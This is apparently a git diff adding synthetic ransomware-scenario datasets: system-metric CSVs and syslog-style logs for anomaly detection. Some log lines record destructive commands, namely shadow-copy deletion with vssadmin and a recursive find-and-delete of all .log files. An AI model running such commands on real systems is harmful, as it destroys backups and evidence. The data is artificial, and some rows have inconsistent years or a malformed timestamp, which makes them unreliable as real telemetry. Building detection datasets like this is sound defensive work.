08:24:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61011 PROTO=UDP SPT=45011 DPT=80 LEN=1480 +Sep 10 08:24:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.12 DST=203.0.113.42 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=61012 PROTO=UDP SPT=45012 DPT=80 LEN=1480 +Sep 10 08:25:05 webapp[8123]: [INFO] Health check endpoint /ping called, status: OK +Sep 10 08:25:30 sshd[3180]: Accepted password for admin from 192.168.5.20 port 50123 ssh2 +Sep 10 08:26:01 systemd[1]: Starting Daily apt upgrade and clean activities... +Sep 10 08:26:30 systemd[1]: apt-daily-upgrade.service: Succeeded. +Sep 10 08:26:30 systemd[1]: Finished Daily apt upgrade and clean activities. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_1.csv b/mali_dataset/scenario_3/mali_3_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..df683073ecbd9f5a23f1c5215f96f4457138711a --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:30:00Z,13.76,51.99,34.15,0.44,1.31 +2025-07-15T14:30:05Z,15.0,40.57,21.36,0.75,1.52 +2025-07-15T14:30:10Z,11.12,33.08,36.97,0.73,1.15 +2025-07-15T14:30:15Z,14.6,39.81,17.25,0.94,0.66 +2025-07-15T14:30:20Z,18.13,33.03,31.12,0.77,0.82 +2025-07-15T14:30:25Z,12.81,30.98,37.04,0.73,0.86 +2025-07-15T14:30:30Z,15.45,40.08,31.43,0.34,0.88 +2025-07-15T14:30:35Z,16.58,38.66,13.01,0.66,1.36 +2025-07-15T14:30:40Z,13.29,42.45,22.96,0.81,1.34 +2025-07-15T14:30:45Z,20.45,40.05,24.99,0.82,0.92 +2025-07-15T14:30:50Z,15.84,34.54,31.23,1.02,1.62 +2025-07-15T14:30:55Z,12.9,45.11,43.42,0.99,1.19 +2025-07-15T14:31:00Z,18.15,37.24,43.3,0.73,1.21 +2025-07-15T14:31:05Z,17.95,38.31,32.25,0.81,1.84 +2025-07-15T14:31:10Z,13.06,38.96,35.86,0.43,1.14 +2025-07-15T14:31:15Z,13.95,46.77,41.5,0.64,0.81 +2025-07-15T14:31:20Z,17.01,32.67,23.56,1.17,0.81 +2025-07-15T14:31:25Z,15.24,36.73,35.57,0.88,1.31 +2025-07-15T14:31:30Z,17.54,43.92,33.53,0.79,1.25 +2025-07-15T14:31:35Z,17.63,44.68,13.98,0.77,1.58 +2025-07-15T14:31:40Z,15.56,33.35,34.01,0.8,1.04 +2025-07-15T14:31:45Z,18.07,42.13,33.8,0.79,1.6 +2025-07-15T14:31:50Z,17.79,42.77,29.88,0.82,0.74 +2025-07-15T14:31:55Z,14.43,49.41,34.31,0.76,1.14 +2025-07-15T14:32:00Z,10.15,46.91,27.67,0.92,1.24 +2025-07-15T14:32:05Z,17.44,43.26,23.93,0.87,0.94 +2025-07-15T14:32:10Z,14.18,39.74,36.33,0.55,0.91 +2025-07-15T14:32:15Z,14.95,41.58,31.71,0.42,1.17 +2025-07-15T14:32:20Z,9.88,42.96,27.94,0.89,1.32 +2025-07-15T14:32:25Z,17.23,45.9,46.06,0.56,1.66 +2025-07-15T14:32:30Z,93.03,81.62,2513.74,0.22,0.32 +2025-07-15T14:32:35Z,89.13,83.11,2715.83,0.14,0.57 +2025-07-15T14:32:40Z,95.81,89.81,2222.97,0.3,0.27 +2025-07-15T14:32:45Z,97.44,84.99,2325.96,0.1,0.47 +2025-07-15T14:32:50Z,100.02,84.19,2198.4,0.17,0.38 +2025-07-15T14:32:55Z,99.51,84.44,2274.69,0.13,0.27 +2025-07-15T14:33:00Z,92.83,82.01,2387.86,0.41,0.43 +2025-07-15T14:33:05Z,94.51,84.36,2468.87,0.18,0.48 +2025-07-15T14:33:10Z,98.57,75.4,2664.45,0.32,0.24 +2025-07-15T14:33:15Z,96.59,78.22,2252.35,0.35,0.22 +2025-07-15T14:33:20Z,98.11,84.38,2511.55,0.46,0.21 +2025-07-15T14:33:25Z,99.58,92.56,2387.46,0.33,0.46 +2025-07-15T14:33:30Z,94.23,93.36,2684.76,0.15,0.22 +2025-07-15T14:33:35Z,96.91,89.23,2627.29,0.32,0.58 +2025-07-15T14:33:40Z,99.43,79.23,2821.44,0.32,0.44 +2025-07-15T14:33:45Z,94.59,90.85,1933.7,0.42,0.55 +2025-07-15T14:33:50Z,93.24,82.34,3032.08,0.32,0.48 +2025-07-15T14:33:55Z,98.24,81.31,2019.12,0.26,0.29 +2025-07-15T14:34:00Z,92.62,86.65,2237.85,0.2,0.49 +2025-07-15T14:34:05Z,96.53,87.15,3239.46,0.37,0.39 +2025-07-15T14:34:10Z,92.71,84.71,2494.16,0.41,0.31 +2025-07-15T14:34:15Z,96.73,90.32,2140.69,0.27,0.42 +2025-07-15T14:34:20Z,91.15,79.12,2726.06,0.35,0.58 +2025-07-15T14:34:25Z,93.28,73.08,2457.66,0.42,0.23 +2025-07-15T14:34:30Z,90.3,85.38,2927.0,0.22,0.5 +2025-07-15T14:34:35Z,92.36,89.0,2595.06,0.19,0.29 +2025-07-15T14:34:40Z,96.41,90.84,2804.07,0.32,0.37 +2025-07-15T14:34:45Z,98.17,89.68,2961.59,0.33,0.57 +2025-07-15T14:34:50Z,95.96,92.08,2066.66,0.46,0.31 +2025-07-15T14:34:55Z,99.12,86.13,2559.4,0.28,0.31 +2025-07-15T14:35:00Z,95.55,71.17,2439.17,0.15,0.58 +2025-07-15T14:35:05Z,97.38,83.63,2218.36,0.44,0.21 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+2025-07-15T14:36:45Z,16.88,31.14,30.17,1.22,1.08 +2025-07-15T14:36:50Z,11.5,40.82,16.64,0.38,0.91 +2025-07-15T14:36:55Z,13.86,40.96,33.52,0.98,0.84 +2025-07-15T14:37:00Z,7.77,48.54,34.1,0.59,1.09 +2025-07-15T14:37:05Z,19.73,46.21,19.54,0.9,1.71 +2025-07-15T14:37:10Z,15.92,40.33,33.99,0.73,1.24 +2025-07-15T14:37:15Z,15.65,41.71,29.28,0.76,0.94 +2025-07-15T14:37:20Z,9.51,41.54,28.29,0.58,1.09 +2025-07-15T14:37:25Z,19.43,42.43,38.9,0.6,1.23 diff --git a/mali_dataset/scenario_3/mali_3_1.log b/mali_dataset/scenario_3/mali_3_1.log new file mode 100644 index 0000000000000000000000000000000000000000..c8edd3dbef6559da03ff49eb254c4a604ac309c7 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_1.log @@ -0,0 +1,19 @@ +Jul 15 14:30:10 sshd[8832]: Accepted password for user admin from 10.1.1.10 port 54321 ssh2 +Jul 15 14:30:25 systemd[1]: Started Session 5 of user admin. +Jul 15 14:30:50 CRON[9011]: (root) CMD ( /usr/local/bin/backup.sh ) +Jul 15 14:31:15 kernel: [1123.456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:31:40 webapp[1234]: INFO: User 'john.doe' successfully authenticated. +Jul 15 14:32:05 mysqld[1122]: INFO: Starting transaction for database 'production'. +Jul 15 14:32:30 systemd[1]: Started /usr/bin/security_update.sh. +Jul 15 14:32:40 security_update.sh[9876]: INFO: Initializing encryption sequence... +Jul 15 14:32:55 vssadmin[9880]: INFO: Successfully deleted all shadow copies. +Jul 15 14:33:10 webapp[1234]: ERROR: Failed to open file '/var/www/data/db_backup.sql': File not found. +Jul 15 14:33:45 mysqld[1122]: CRITICAL: Cannot access database file: /var/lib/mysql/prod/users.ibd. Encrypted? +Jul 15 14:34:10 webapp[1234]: ERROR: Invalid file format detected for /var/www/assets/logo.png. +Jul 15 14:34:20 kernel: [1301.998] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" name="/var/lib/mysql/prod/orders.ibd.ENCRYPTED" +Jul 15 14:34:35 auditd[801]: USER_CMD pid=9876 uid=0 auid=1000 ses=5 msg='cmd=find / -type f -name "*.log" -exec rm -f {} \;' +Jul 15 14:35:00 systemd[1]: Service 'syslog' terminated unexpectedly. +Jul 15 14:35:25 security_update.sh[9876]: INFO: Encryption of /home/admin/documents complete. +Jul 15 14:36:30 security_update.sh[9876]: INFO: All files encrypted. Dropping ransom note. +Jul 15 14:36:40 kernel: [1455.123] audit: type=1325 op=create_file ppid=9876 pid=9999 file="/home/admin/documents/RECOVER_YOUR_FILES.txt" +Jul 15 14:37:05 sshd[8832]: Connection closed by 10.1.1.10 port 54321 diff --git a/mali_dataset/scenario_3/mali_3_10.csv b/mali_dataset/scenario_3/mali_3_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..7c0c2ff00f0b1b1529a49bc8edb3f4dabc8368a6 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_10.csv @@ -0,0 +1,50 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2026-01-15T09:05:00Z,35.43,71.21,102.34,5.12,4.54 +2026-01-15T09:05:05Z,32.87,68.54,95.87,5.54,4.88 +2026-01-15T09:05:10Z,38.98,75.32,110.12,4.98,4.43 +2026-01-15T09:05:15Z,34.76,70.87,100.54,5.32,4.76 +2026-01-15T09:05:20Z,37.54,73.21,108.87,5.05,4.51 +2026-01-15T09:05:25Z,99.99,99.12,5512.34,1.12,1.32 +2026-01-15T09:05:30Z,99.87,98.54,5398.12,1.18,1.38 +2026-01-15T09:05:35Z,99.99,99.87,5601.87,1.09,1.29 +2026-01-15T09:05:40Z,99.65,97.87,5299.54,1.21,1.41 +2026-01-15T09:05:45Z,99.99,99.99,5711.21,1.07,1.27 +2026-01-15T09:05:50Z,99.54,97.54,5254.12,1.25,1.45 +2026-01-15T09:05:55Z,99.98,99.54,5687.65,1.08,1.28 +2026-01-15T09:06:00Z,99.43,97.32,5201.98,1.28,1.48 +2026-01-15T09:06:05Z,99.99,99.91,5801.54,1.06,1.26 +2026-01-15T09:06:10Z,99.32,97.12,5188.12,1.31,1.51 +2026-01-15T09:06:15Z,99.97,99.87,5787.98,1.07,1.27 +2026-01-15T09:06:20Z,99.21,96.99,5154.65,1.33,1.53 +2026-01-15T09:06:25Z,99.94,99.76,5721.12,1.08,1.28 +2026-01-15T09:06:30Z,99.11,96.87,5132.98,1.35,1.55 +2026-01-15T09:06:35Z,99.99,99.92,5812.54,1.05,1.25 +2026-01-15T09:06:40Z,99.01,96.54,5101.43,1.38,1.58 +2026-01-15T09:06:45Z,99.98,99.81,5799.87,1.06,1.26 +2026-01-15T09:06:50Z,98.98,96.32,5087.65,1.41,1.61 +2026-01-15T09:06:55Z,99.95,99.71,5765.43,1.07,1.27 +2026-01-15T09:07:00Z,98.87,96.12,5054.12,1.43,1.63 +2026-01-15T09:07:05Z,99.99,99.93,5821.87,1.04,1.24 +2026-01-15T09:07:10Z,98.76,95.99,5032.98,1.45,1.65 +2026-01-15T09:07:15Z,99.96,99.81,5801.43,1.06,1.26 +2026-01-15T09:07:20Z,98.65,95.87,5012.65,1.47,1.67 +2025-01-15T09:07:25Z,99.92,99.71,5787.12,1.07,1.27 +2025-01-15T09:07:30Z,98.54,95.65,4987.98,1.49,1.69 +2025-01-15T09:07:35Z,99.88,99.61,5754.65,1.08,1.28 +2025-01-15T09:07:40Z,98.43,95.54,4965.32,1.51,1.71 +2025-01-15T09:07:45Z,99.81,99.51,5701.98,1.09,1.29 +2025-01-15T09:07:50Z,98.32,95.32,4932.11,1.53,1.73 +2025-01-15T09:07:55Z,30.12,51.87,55.43,0.54,0.87 +2025-01-15T09:08:00Z,28.87,48.12,50.87,0.49,0.78 +2025-01-15T09:08:05Z,32.54,54.98,61.32,0.58,0.91 +2025-01-15T09:08:10Z,29.32,50.54,53.98,0.52,0.81 +2025-01-15T09:08:15Z,31.87,53.21,58.12,0.56,0.89 +2025-01-15T09:08:20Z,28.98,49.12,52.65,0.51,0.80 +2025-01-15T09:08:25Z,33.32,55.87,63.54,0.61,0.94 +2025-01-15T09:08:30Z,30.54,52.54,56.21,0.55,0.85 +2025-01-15T09:08:35Z,34.12,56.98,66.32,0.63,0.96 +2025-01-15T09:08:40Z,31.87,53.87,59.87,0.57,0.90 +2025-01-15T09:08:45Z,35.32,58.12,69.12,0.65,0.99 +2025-01-15T09:08:50Z,32.98,55.54,62.65,0.60,0.93 +2025-01-15T09:08:55Z,36.43,59.21,71.87,0.68,1.02 +2025-01-15T09:09:00Z,33.54,56.54,64.54,0.62,0.95 \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_10.log b/mali_dataset/scenario_3/mali_3_10.log new file mode 100644 index 0000000000000000000000000000000000000000..d4b2ecf6c1d102dc7a637982afd0d6fddc8a6496 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_10.log @@ -0,0 +1,13 @@ +Jan 15 09:05:10 sshd[13344]: Connection from 10.0.2.2 port 49876 on 10.0.2.15 port 22 +Jan 15 09:05:20 CRON[13355]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jan 15 09:05:25 kernel: [13001.234] dropped_packets: 512 packets dropped due to full queue +Jan 15 09:05:35 vssadmin[13360]: Running command: C:\Windows\System32\vssadmin.exe Delete Shadows /All /Quiet +Jan 15 09:05:50 java[4567]: [ERROR] com.mycompany.app.App - Unable to read file: /data/app/documents/report.docx +Jan 15 09:06:05 java[4567]: java.nio.file.FileSystemException: /data/app/db/appdb.mv.db: The process cannot access the file because it is being used by another process. +Jan 15 09:06:20 java[4567]: [WARN] com.mycompany.app.App - Configuration file /data/app/config/config.properties seems to be corrupted. +Jan 15 09:06:35 kernel: [13025.678] audit: type=1400 apparmor="DENIED" operation="file_encrypt" profile="/usr/bin/java" name="/data/app/logs/app.log" pid=4567 comm="java" +Jan 15 09:06:50 backup.sh[13400]: ERROR: Lock file exists. Another backup process is running. +Jan 15 09:07:05 systemd[1]: session-13.scope: Deactivated. +Jan 15 09:07:20 java[4567]: [FATAL] com.mycompany.app.App - Could not initialize database connection. Shutting down. +Jan 15 09:07:35 kernel: [13045.987] Out of memory: Killed process 4567 (java) total-vm:3456789kB, anon-rss:1234567kB, file-rss:0kB, shmem-rss:0kB, UID:1001 pgtables:2345kB oom_score_adj:0 +Jan 15 09:07:50 systemd[1]: Created file /data/app/HOW_TO_GET_YOUR_FILES_BACK.txt. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_11.csv b/mali_dataset/scenario_3/mali_3_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..e2607f10978254061afa7759001313beb260c59a --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_11.csv @@ -0,0 +1,51 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2026-02-01T15:20:00Z,19.87,53.21,65.43,1.87,2.32 +2026-02-01T15:20:05Z,22.54,56.87,74.21,1.65,2.12 +2026-02-01T15:20:10Z,20.98,54.98,68.54,1.79,2.25 +2026-02-01T15:20:15Z,24.12,58.21,78.32,1.58,2.01 +2026-02-01T15:20:20Z,21.43,55.87,71.98,1.72,2.18 +2026-02-01T15:20:25Z,19.99,53.99,66.12,1.85,2.30 +2026-02-01T15:20:30Z,99.65,96.21,5012.34,0.43,0.65 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+2026-02-01T15:22:10Z,99.99,98.76,5421.54,0.34,0.56 +2026-02-01T15:22:15Z,98.12,93.21,4665.32,0.66,0.89 +2026-02-01T15:22:20Z,99.96,98.54,5387.87,0.36,0.58 +2026-02-01T15:22:25Z,98.21,93.43,4687.11,0.64,0.87 +2026-02-01T15:22:30Z,99.98,98.65,5401.98,0.35,0.57 +2026-02-01T15:22:35Z,98.32,93.54,4712.65,0.63,0.86 +2026-02-01T15:22:40Z,99.95,98.43,5365.54,0.36,0.58 +2026-02-01T15:22:45Z,98.43,93.65,4732.32,0.62,0.85 +2026-02-01T15:22:50Z,99.99,98.87,5432.11,0.34,0.56 +2026-02-01T15:22:55Z,98.54,93.87,4754.87,0.61,0.84 +2026-02-01T15:23:00Z,15.87,38.21,28.54,0.21,0.35 +2026-02-01T15:23:05Z,13.54,35.87,24.87,0.18,0.31 +2026-02-01T15:23:10Z,17.21,41.54,32.32,0.25,0.41 +2026-02-01T15:23:15Z,14.87,37.98,27.65,0.22,0.37 +2026-02-01T15:23:20Z,16.54,40.21,30.12,0.24,0.40 +2026-02-01T15:23:25Z,14.98,38.12,28.21,0.21,0.36 +2026-02-01T15:23:30Z,18.32,42.99,35.43,0.28,0.45 +2026-02-01T15:23:35Z,15.98,40.54,31.87,0.23,0.39 +2026-02-01T15:23:40Z,19.12,44.12,38.76,0.30,0.48 +2026-02-01T15:23:45Z,16.87,41.98,33.21,0.26,0.42 +2026-02-01T15:23:50Z,20.32,45.87,41.43,0.32,0.51 +2026-02-01T15:23:55Z,17.98,43.54,36.87,0.28,0.46 +2026-02-01T15:24:00Z,21.43,46.98,44.12,0.34,0.54 +2026-02-01T15:24:05Z,18.54,44.54,38.54,0.30,0.49 \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_11.log b/mali_dataset/scenario_3/mali_3_11.log new file mode 100644 index 0000000000000000000000000000000000000000..1bf7079269cbf49747e2aa04b231b5d8d3bd8ec5 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_11.log @@ -0,0 +1,13 @@ +Feb 01 15:20:10 sshd[14455]: error: connect_to localhost port 443: failed. +Feb 01 15:20:25 systemd[1]: logrotate.service: Succeeded. +Feb 01 15:20:30 kernel: [14005.123] KB5011487.exe[14460]: started by user 'SERVICE'. +Feb 01 15:20:45 vssadmin[14465]: Shadow Copy Service command line utility (Version 1.1) +Feb 01 15:21:00 django[5678]: [ERROR] [2026-02-01 15:21:00,123] [views:1234] FileNotFoundError: [Errno 2] No such file or directory: '/opt/app/data/media/invoices/inv_2026_02_01.pdf' +Feb 01 15:21:15 postgres[4567]: 2026-02-01 15:21:15.123 UTC [14470] LOG: could not read block 28 of relation base/16384/16390: read only 0 of 8192 bytes +Feb 01 15:21:30 django[5678]: [CRITICAL] [2026-02-01 15:21:30,456] [models:567] OperationalError: could not translate host name "db" to address: Name or service not known +Feb 01 15:21:45 kernel: [14020.456] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/postgresql" name="/var/lib/postgresql/13/main/base/16384/PG_VERSION.lock" pid=4567 comm="postgres" +Feb 01 15:22:00 backup.sh[14500]: ERROR: Could not access /opt/app/data/media for backup. +Feb 01 15:22:15 systemd-logind[1066]: Session 14 logged out. +Feb 01 15:22:30 postgres[4567]: 2026-02-01 15:22:30.789 UTC [4567] PANIC: could not open control file "global/pg_control": No such file or directory +Feb 01 15:22:45 django[5678]: [INFO] [2026-02-01 15:22:45,987] [main:123] Application is shutting down due to critical errors. +Feb 01 15:23:00 systemd[1]: Created file /opt/app/data/RESTORE_FILES.txt. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_12.csv b/mali_dataset/scenario_3/mali_3_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..b1ecdbdef766b680215b7a8b65f2aeb3abd2cbc1 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_12.csv @@ -0,0 +1,50 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2026-02-14T08:40:00Z,28.98,63.21,85.43,3.54,2.87 +2026-02-14T08:40:05Z,31.54,66.87,92.21,3.32,2.65 +2026-02-14T08:40:10Z,29.98,64.98,88.54,3.48,2.79 +2026-02-14T08:40:15Z,33.12,68.21,96.32,3.21,2.58 +2026-02-14T08:40:20Z,30.43,65.87,91.98,3.41,2.72 +2026-02-14T08:40:25Z,99.87,97.21,5212.34,0.87,1.12 +2026-02-14T08:40:30Z,99.21,96.54,5154.87,0.92,1.18 +2026-02-14T08:40:35Z,99.99,98.87,5401.54,0.85,1.09 +2026-02-14T08:40:40Z,98.98,95.87,5099.12,0.95,1.21 +2026-02-14T08:40:45Z,99.96,99.01,5511.87,0.83,1.07 +2026-02-14T08:40:50Z,98.87,95.54,5054.65,0.98,1.25 +2026-02-14T08:40:55Z,99.92,98.87,5487.98,0.86,1.11 +2026-02-14T08:41:00Z,98.76,95.32,5001.43,1.01,1.28 +2026-02-14T08:41:05Z,99.99,99.21,5601.12,0.82,1.05 +2026-02-14T08:41:10Z,98.65,95.12,4988.65,1.03,1.31 +2026-02-14T08:41:15Z,99.97,99.01,5587.98,0.84,1.08 +2026-02-14T08:41:20Z,98.54,94.99,4954.32,1.05,1.33 +2026-02-14T08:41:25Z,99.94,98.87,5521.65,0.85,1.09 +2026-02-14T08:41:30Z,98.43,94.87,4932.11,1.07,1.35 +2026-02-14T08:41:35Z,99.99,99.32,5612.98,0.81,1.04 +2026-02-14T08:41:40Z,98.32,94.54,4901.87,1.09,1.38 +2026-02-14T08:41:45Z,99.98,99.21,5599.54,0.83,1.06 +2026-02-14T08:41:50Z,98.21,94.32,4887.32,1.11,1.41 +2026-02-14T08:41:55Z,99.95,99.11,5565.87,0.84,1.08 +2026-02-14T08:42:00Z,98.11,94.12,4854.65,1.13,1.43 +2026-02-14T08:42:05Z,99.99,99.43,5621.54,0.80,1.03 +2026-02-14T08:42:10Z,98.01,93.99,4832.32,1.15,1.45 +2026-02-14T08:42:15Z,99.96,99.21,5587.87,0.83,1.06 +2026-02-14T08:42:20Z,98.12,94.21,4865.11,1.14,1.44 +2026-02-14T08:42:25Z,99.98,99.32,5601.98,0.82,1.05 +2026-02-14T08:42:30Z,98.21,94.32,4887.65,1.13,1.43 +2026-02-14T08:42:35Z,99.95,99.21,5565.54,0.83,1.06 +2026-02-14T08:42:40Z,98.32,94.54,4912.32,1.12,1.42 +2e-14T08:42:45Z,99.99,99.43,5632.11,0.81,1.04 +2026-02-14T08:42:50Z,98.43,94.65,4932.87,1.11,1.41 +2026-02-14T08:42:55Z,25.43,48.21,45.43,0.43,0.65 +2026-02-14T08:43:00Z,23.87,45.87,41.87,0.38,0.58 +2026-02-14T08:43:05Z,27.21,51.54,49.32,0.48,0.71 +2026-02-14T08:43:10Z,24.87,47.98,44.65,0.42,0.62 +2026-02-14T08:43:15Z,26.54,50.21,47.12,0.46,0.68 +2026-02-14T08:43:20Z,24.98,48.12,45.21,0.41,0.61 +2026-02-14T08:43:25Z,28.32,52.99,52.43,0.51,0.75 +2026-02-14T08:43:30Z,25.98,50.54,48.87,0.45,0.67 +2026-02-14T08:43:35Z,29.12,54.12,55.76,0.53,0.78 +2026-02-14T08:43:40Z,26.87,51.98,50.21,0.48,0.70 +2026-02-14T08:43:45Z,30.32,55.87,58.43,0.55,0.81 +2026-02-14T08:43:50Z,27.98,53.54,53.87,0.50,0.73 +2026-02-14T08:43:55Z,31.43,56.98,61.12,0.58,0.84 +2026-02-14T08:44:00Z,28.54,54.54,55.54,0.52,0.76 \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_12.log b/mali_dataset/scenario_3/mali_3_12.log new file mode 100644 index 0000000000000000000000000000000000000000..81ef61d8dfb35beaeb55dbb207c9f76df797e61c --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_12.log @@ -0,0 +1,13 @@ +Feb 14 08:40:10 sshd[15566]: Received disconnect from 192.168.1.5 port 58764:11: Bye Bye [preauth] +Feb 14 08:40:20 CRON[15577]: (root) CMD ( test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --crond) +Feb 14 08:40:25 kernel: [15001.234] payload.elf[15580]: Segmentation fault at 0 ip 0000555555555555 sp 00007fffffffe8c8 error 4 in payload.elf[555555554000+2000] +Feb 14 08:40:35 vssadmin[15585]: Executing 'vssadmin delete shadows /all /quiet' +Feb 14 08:40:50 httpd[6789]: [Mon Feb 14 08:40:50.123456 2026] [proxy_fcgi:error] [pid 6790] [client 192.168.1.10:1234] AH01071: Got error 'PHP message: PHP Warning: include(/var/www/html/wp-content/db.php): failed to open stream: No such file or directory in /var/www/html/wp-config.php on line 25' +Feb 14 08:41:05 redis-server[5678]: 14 Feb 08:41:05.123 * DB loaded from disk: 0.000 seconds +Feb 14 08:41:20 httpd[6789]: [Mon Feb 14 08:41:20.456789 2026] [core:error] [pid 6791] (2)No such file or directory: AH02229: access to /var/www/html/wp-admin/ denied because search permissions are missing on a component of the path +Feb 14 08:41:35 kernel: [15015.678] audit: type=1400 apparmor="DENIED" operation="file_write" profile="/usr/sbin/redis-server" name="/var/lib/redis/dump.rdb.crypt" pid=5678 comm="redis-server" +Feb 14 08:41:50 backup.sh[15600]: ERROR: WordPress database backup failed. +Feb 14 08:42:05 systemd[1]: session-15.scope: Consumed 1min 20.123s CPU time. +Feb 14 08:42:20 redis-server[5678]: 14 Feb 08:42:20.789 # Writing original data to disk: Stale file handle +Feb 14 08:42:35 httpd[6789]: [Mon Feb 14 08:42:35.987654 2026] [mpm_prefork:notice] [pid 6789] AH00169: caught SIGTERM, shutting down +Feb 14 08:42:50 systemd[1]: Created file /var/www/html/YOUR_FILES_ARE_ENCRYPTED.html. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_13.csv b/mali_dataset/scenario_3/mali_3_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..12e4ba137b006f0790a59535a06e0e3c95e58bf0 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_13.csv @@ -0,0 +1,50 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2026-03-10T01:30:00Z,33.21,68.54,95.43,4.54,3.87 +2026-03-10T01:30:05Z,35.87,71.21,101.21,4.32,3.65 +2026-03-10T01:30:10Z,34.98,69.98,98.54,4.48,3.79 +2026-03-10T01:30:15Z,37.12,73.21,105.32,4.21,3.58 +2026-03-10T01:30:20Z,36.43,72.87,103.98,4.41,3.72 +2026-03-10T01:30:25Z,99.99,98.54,5412.34,0.98,1.21 +2026-03-10T01:30:30Z,99.87,97.87,5354.87,1.02,1.28 +2026-03-10T01:30:35Z,99.99,99.21,5601.54,0.95,1.19 +2026-03-10T01:30:40Z,99.65,97.12,5299.12,1.05,1.31 +2026-03-10T01:30:45Z,99.99,99.54,5711.87,0.93,1.17 +2026-03-10T01:30:50Z,99.54,96.87,5254.65,1.08,1.35 +2026-03-10T01:30:55Z,99.98,99.32,5687.98,0.96,1.20 +2026-03-10T01:31:00Z,99.43,96.54,5201.43,1.11,1.38 +2026-03-10T01:31:05Z,99.99,99.65,5801.12,0.92,1.15 +2026-03-10T01:31:10Z,99.32,96.32,5188.65,1.13,1.41 +2026-03-10T01:31:15Z,99.97,99.43,5787.98,0.94,1.18 +2026-03-10T01:31:20Z,99.21,96.12,5154.32,1.15,1.43 +2026-03-10T01:31:25Z,99.94,99.21,5721.65,0.95,1.19 +2026-03-10T01:31:30Z,99.11,95.99,5132.11,1.17,1.45 +2026-03-10T01:31:35Z,99.99,99.54,5812.98,0.91,1.14 +2026-03-10T01:31:40Z,99.01,95.87,5101.87,1.19,1.48 +2026-03-10T01:31:45Z,99.98,99.32,5799.54,0.93,1.16 +2026-03-10T01:31:50Z,98.98,95.54,5087.32,1.21,1.51 +2026-03-10T01:31:55Z,99.95,99.21,5765.87,0.94,1.18 +2026-03-10T01:32:00Z,98.87,95.32,5054.65,1.23,1.53 +2026-03-10T01:32:05Z,99.99,99.65,5821.54,0.90,1.13 +2026-03-10T01:32:10Z,98.76,95.12,5032.32,1.25,1.55 +2026-03-10T01:32:15Z,99.96,99.43,5801.87,0.93,1.16 +2026-03-10T01:32:20Z,98.65,94.99,5012.11,1.27,1.57 +2026-03-10T01:32:25Z,99.98,99.54,5787.98,0.92,1.15 +2026-03-10T01:32:30Z,98.54,94.87,4987.65,1.29,1.59 +2026-03-10T01:32:35Z,99.95,99.32,5754.54,0.93,1.16 +2026-03-10T01:32:40Z,98.43,94.65,4965.32,1.31,1.61 +2026-03-10T01:32:45Z,99.99,99.65,5832.11,0.91,1.14 +2026-03-10T01:32:50Z,98.32,94.54,4932.87,1.33,1.63 +2026-03-10T01:32:55Z,28.98,51.21,50.43,0.54,0.76 +2026-03-10T01:33:00Z,26.54,48.87,46.87,0.49,0.68 +2026-03-10T01:33:05Z,30.21,54.54,55.32,0.58,0.81 +2026-03-10T01:33:10Z,27.87,50.98,49.65,0.52,0.72 +2026-03-10T01:33:15Z,29.54,53.21,52.12,0.56,0.79 +2026-03-10T01:33:20Z,27.98,51.12,50.21,0.51,0.71 +2026-03-10T01:33:25Z,31.32,55.99,58.43,0.61,0.85 +2026-03-10T01:33:30Z,28.98,53.54,54.87,0.55,0.77 +2026-03-10T01:33:35Z,32.12,57.12,61.76,0.63,0.88 +2026-03-10T01:33:40Z,29.87,54.98,57.21,0.58,0.80 +2026-03-10T01:33:45Z,33.32,58.87,64.43,0.65,0.91 +2026-03-10T01:33:50Z,30.98,56.54,60.87,0.60,0.83 +2026-03-10T01:33:55Z,34.43,59.98,67.12,0.68,0.94 +2026-03-10T01:34:00Z,31.54,57.54,62.54,0.62,0.86 \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_13.log b/mali_dataset/scenario_3/mali_3_13.log new file mode 100644 index 0000000000000000000000000000000000000000..32d9a61872e597028c8af3c7f1eb814f5403374b --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_13.log @@ -0,0 +1,13 @@ +Mar 10 01:30:10 sshd[16677]: Address 192.168.1.8 resolves to mypc.local, while the specified host name is 192.168.1.8. +Mar 10 01:30:20 CRON[16688]: (root) CMD (newsyslog) +Mar 10 01:30:25 kernel: [16001.234] sec-update[16690]: Corrupted memory region at 0x7f... +Mar 10 01:30:35 vssadmin[16695]: Disabling shadow copy storage. +Mar 10 01:30:50 node[7890]: [Error: ENOENT: no such file or directory, open '/app/server/config/routes.json'] { +Mar 10 01:31:05 mongodb[6789]: 